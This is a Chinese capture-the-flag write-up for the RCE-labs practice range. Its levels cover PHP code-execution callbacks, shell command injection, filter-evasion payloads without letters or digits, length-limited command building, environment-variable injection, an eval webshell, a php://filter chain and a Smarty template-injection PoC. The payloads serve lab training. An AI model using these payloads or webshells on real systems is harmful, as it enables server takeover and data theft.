RCE-labs练习
靶场地址及官方wp:https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file
本文用的是CTF++平台进行复现的
level2
考察代码执行的常见函数
1 |
|
array_reduce
用回调函数将数组化为单一的值,第一个参数为数组元素,第二个为回调函数,第三个为回调函数初始值,payload:
1 | array_reduce([1], 'system', 'whoami'); |
call_user_func
回调函数,第一个参数为函数名,其余参数为函数的参数,payload:
1 | content='system','cat /flag' |
create_function
通过执行代码字符串创建动态函数,payload:
1 | content='',system("cat /flag") |
array_map
将回调函数应用到数组每个元素,返回处理后的新数组。payload:
1 | content=$_POST[2],$_POST[1]&1[]=cat /flag&2=system |
call_user_func_array
与call_user_func一样,payload:
1 | content=$_POST[2],$_POST[1]&1[]=cat /flag&2=system |
usort
用自定义比较函数对数组排序(依赖用户定义的规则)。
1 | usort(array &$array, callable $callback): true |
payload:
1 | content=print_r($flag) |
array_filter
用回调函数过滤数组中的元素:array_filter(数组,函数),payload:
1 | content=system('cat /flag'),assert |
preg_replace
执行一个正则表达式的搜索和替换,/e 修饰符可执行代码(PHP 7.4 之前)。payload:
1 | content='',system('cat /flag') |
level3
考查简单的命令执行,payload:
1 | a=cat /flag |
level4
考察shell运算符,payload:
1 | ?ip=1;cat /flag |
level5
简单的绕过,通配符绕过,payload:
1 | ?cmd=cat /f* |
level6
1 |
|
?没禁,通配符直接绕,payload:
1 | ?a? /??a? |
可能path有问题,用绝对路径:
1 | /???/?a? /??a? |
level7
空格绕过
代替:<、<>、%20(即space)、%09(即tab)、$IFS$9、$IFS、${IFS}、{,}(例如{cat,/etc/passwd})
1 | cat$IFS/f* |
level8
注释符绕过,payload:
1 | cat /flag;# |
或者文件重定向:
1 | cat /flag>1.txt; |
level9
1 |
|
无字母RCE,$ ' < 0-9都没过滤,采用8进制绕过,payload:
1 | ?cmd=$'\143\141\164'<$'\57\146\154\141\147' |
注意$''中命令是不能接参数的,因为整个字符串被$''包裹时,它会被当作一个整体字符串来处理,而linux没有ls /的单一命令,所以会报错,或者交给bash解析,linux中$0表示当前脚本名
level10
1 |
|
只能用0 1 $ < () ' \ #,shell脚本变量执行rce,参考:利用shell脚本变量构造无字母数字命令
或者参考我之前的文章:shell变量执行RCE
得url编码,payload:
1 | ?cmd=%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((1%3C%3C1))%2310001111))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310100100))%5C%5C%24((%24((1%3C%3C1))%23101000))%5C%5C%24((%24((1%3C%3C1))%23111001))%5C%5C%24((%24((1%3C%3C1))%2310010010))%5C%5C%24((%24((1%3C%3C1))%2310011010))%5C%5C%24((%24((1%3C%3C1))%2310001101))%5C%5C%24((%24((1%3C%3C1))%2310010011))%5C' |
level11
考察无字母命令执行整数1的特殊变量替换:
1 |
|
这次只能用0了,原理一样shell变量执行RCE,探姬师傅脚本直接梭,这里我们用$构造,把之前1的部分换成$即可:
1 | cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\' |
level12
与level11一样,payload:
1 | cmd=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\' |
level13
根据提示,考察特殊扩展替换任意数字,取反绕过:
1 | ?cmd=__%3D%24(())%26%26%24%7B!__%7D%3C%3C%3C%24%7B!__%7D%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24(())%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))))))%5C%5C%24((~%24((%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%24((~%24((%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))%24((~%24(())))))))%5C' |
level14
考察长度限制RCE,这里是7字符:
1 |
|
linux中没有写完的命令后面加\,可将一条命令多行表示,>可以创建文件,而ls -t命令可将文件名按时间顺序排列出来,通过将ls -t执行的结果写入文件,再通过sh 文件名执行
所以payload:
1 | >hp |
或者直接读flag:
1 | ?1=nl /f* |
level15
5字符RCE,原理是一样的,只是不能直接读了
前置知识:
在linux中,星号*可作为通配符使用,输入*后,linux会将该目录下第一个列出的文件名作为命令,剩下的文件名作为参数
像上面这个例子,执行*就相当于执行ls t,将ls作为命令,t作为参数
有的时候当一个目录下有很多个文件的时候,可以在*后面加上字母作为限制,就可以限定为必须要带有该字母的文件才能被当作命令和参数,它依旧是按照字母顺序,第一个为命令,后面的为参数,比如说下面这个例子,虽然说里面有很多文件,但我们用了*s,相当于就是带有s的第一个文件被作为了命令,后面带有s的文件作为了参数,所以说我们执行*s,相当于执行ls s
而rev可将文件里的内容倒置:
当然我们也可以将rev作为文件名,利用*v来执行它,只不过文件名也要为v:
即将rev作为命令,v作为参数执行
dir与ls基本相同,只不过ls写入文件时,每个文件名都是单独一行,它会自动换行,会影响我们命令执行,但dir会全部写入一行中,并且会自动添加空格,所以我们可用dir代替ls
所以payload:
1 | >dir |
level16
4字符RCE,原理一样,每个命令分成4个字符即可
level17
考察命令执行函数
system()/passthru()
两个函数均有回显,只不过system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行),passthru() 函数执行系统命令并将执行结果输出到页面中,且支持二进制数据。payload:
1 | content='cat /f*' |
反引号``
用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。无回显,payload:
1 | content=echo cat /f* |
shell_exec()/exec()
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。由于是保存在变量中,所以没输出,可以利用DNS外带或将输出结果写入文件,payload:
1 | content='cat /flag>1.php' |
popen()
函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。\
level18
1 |
|
环境变量注入RCE,参考我是如何利用环境变量注入执行任意命令,payload:
1 | ?envs[BASH_FUNC_echo%%]=() { cat /flag; } |
level19
1 |
|
考察文件写入导致的RCE,file_put_contents接受2个参数,第一个是要写入的文件,第二个是写入的内容,直接写🐎即可:
1 | ?c='1.php','<?php @eval($_POST["a"]);?>' |
或者通过闭合直接执行RCE:
1 | ?c='','');system('cat /flag');// |
level20
文件上传导致的RCE,就是一个简单的文件上传,传🐎即可
level21
简单的文件包含,可以直接包含读flag文件,也可以php-filter-chain任意代码执行
直接包含:
1 | c='/flag' |
php filter chain:
1 | <?php eval($_POST['a']);?> |
1 | c='php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp'&a=system('cat /flag'); |
level22
php函数动态调用,payload:
1 | ?a=system&b=cat /flag |
level23
无字母数字RCE,自增绕过
知识点:
1 | [].'' //Array |
NAN表示的是未被定义的值,所以我们这里可以通过a/a这种方式构造,如果字母也被ban,我们也可以借助其他字符,比如_/_,这个时候也可以得到NAN,同理,INF也可以通过1/a的方式获取。
原理:
1 | "A"++ ==> "B" |
payload:
1 |
|
url编码:
1 | %24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B |
level24
无参RCE,直接利用chdir()&array_rand()读文件:
array_flip()
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand()
array_rand() :从数组中随机取出一个或多个单元
getcwd()
getcwd():取得当前工作目录的路径
scandir()
scandir():将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称
1 | ?code=show_source(array_rand(array_flip(scandir(getcwd())))); |
由于每次返回的文件内容是随机的,所以需要多读几次
level25
无字母数字RCE取反绕过:https://probiusofficial.github.io/PHP-inversion/
原理:对cat flag等命令取反,再取反,仍然得到cat flag,但是可以利用它进行一些对数字字母过滤的绕过
脚本:
1 | def one(s): |
payload:
1 | ?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%9E%8B%DF%D0%99%93%9E%98][!%FF]); |
level26
1 |
|
无字母数字RCE,自增、取反、异或或者临时文件上传都可以,这里我们用异或
脚本:
1 | import re |
payload:
1 | code=('%0C%05%0C%08%05%0D'^'%7F%7C%7F%7C%60%60')("%03%01%08%00%00%06%0C%01%07"^"%60%60%7C%20/%60%60%60%60"); |
或者用取反:
1 | code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%9E%8B%DF%D0%99%93%9E%98][!%FF]); |
自增:
1 | code=%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B |
level27
模板注入导致的RCE
1 | require 'vendor/autoload.php'; |
用的是Smarty模板,题目溯源到idekCTF 2024 untitled-smarty-challenge
poc:
1 | import hashlib |



















